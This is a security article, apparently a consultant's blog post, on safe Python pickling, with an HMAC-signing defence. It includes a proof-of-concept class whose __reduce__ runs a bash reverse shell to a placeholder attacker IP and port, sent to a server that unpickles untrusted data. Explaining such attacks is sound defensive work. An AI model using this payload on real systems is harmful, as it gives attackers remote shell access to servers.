In Python, you can use pickle to serialize (deserialize) an object structure into (from) a byte stream. Here are best practices for secure Python pickling.
Pickle in Python is primarily used in serializing and deserializing a Python object structure. In other words, it’s the process of converting a Python object into a byte stream to store it in a file/database, maintain program state across sessions, or transport data over the network. The pickled byte stream can be used to re-create the original object hierarchy by unpickling the stream. This whole process is similar to object serialization in Java or .Net.
When a byte stream is unpickled, the pickle module creates an instance of the original object first and then populates the instance with the correct data. To achieve this, the byte stream contains only the data specific to the original object instance. But having just the data alone may not be sufficient. To successfully unpickle the object, the pickled byte stream contains instructions to the unpickler to reconstruct the original object structure along with instruction operands, which help in populating the object structure.
According to the pickle module documentation, the following types can be pickled:
Pickle allows different objects to declare how they should be pickled using the __reduce__ method. Whenever an object is pickled, the __reduce__ method defined by it gets called. This method returns either a string, which may represent the name of a Python global, or a tuple describing how to reconstruct this object when unpickling.
Generally the tuple consists of two arguments:
The pickle library will pickle each component of the tuple separately, and will call the callable on the provided arguments to construct the new object during the process of unpickling.
Since there are no effective ways to verify the pickle stream being unpickled, it is possible to provide malicious shell code as input, causing remote code execution. The most common attack scenario leading to this would be to trust raw pickle data received over the network. If the connection is unencrypted, the pickle received could have also been modified on the wire. Another attack scenario is when an attacker can access and modify the stored pickle files from caches, file systems, or databases.
The following example code demonstrates a simple client server program. The server connects to a particular port and waits for client to send data. Once it receives the data, it unpickles it.
conn,addr = self.receiver_socket.accept() data = conn.recv(1024) return cPickle.loads(data)
If the client is not trusted, an attacker can get remote code to execute on the server and gain access to it.
class Shell_code(object): def __reduce__(self): return (os.system,('/bin/bash -i >& /dev/tcp/"Client IP"/"Listening PORT" 0>&1',)) shell = cPickle.dumps(Shell_code()) client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect(('Server IP','Server PORT')) client_socket.send(shell)
The pickle module is not inherently insecure. The following best practices allow safe implementation of pickle.
The following example code demonstrates cryptographic signature and verification. The cryptographic signature, as mentioned above, helps in detecting any alteration of pickled data. The client uses HMAC to sign the data. It sends the digest value along with the pickled data to the server as shown below.
pickled_data = pickle.dumps(data) digest = hmac.new('shared-key', pickled_data, hashlib.sha1).hexdigest() header = '%s' % (digest) conn.send(header + ' ' + pickled_data)
The server receives the data, computes the digest, and verifies it with the one that was sent.
conn,addr = self.receiver_socket.accept() data = conn.recv(1024) recvd_digest, pickled_data = data.split(' ') new_digest = hmac.new('shared-key', pickled_data, hashlib.sha1).hexdigest() if recvd_digest != new_digest: print 'Integrity check failed' else: unpickled_data = pickle.loads(pickled_data)
Ashutosh Agrawal is an associate managing consultant at Synopsys. Over the last nine years, he has performed and led a wide variety of application security assessments including penetration tests, secure code reviews, and threat modeling projects. He has deployed static analysis tools, developed SSDLC policies and standards, and has delivered several instructor-led training courses. Ashutosh possesses extensive project management experience as a key member of Synopsys' strategic Software Security In-a-Box and BSIMM initiatives. Ashutosh has a Master's in Computer Science from the University of Southern California and is currently based in Washington DC. In his spare time, he loves to teach Hindi to students via Google Hangout.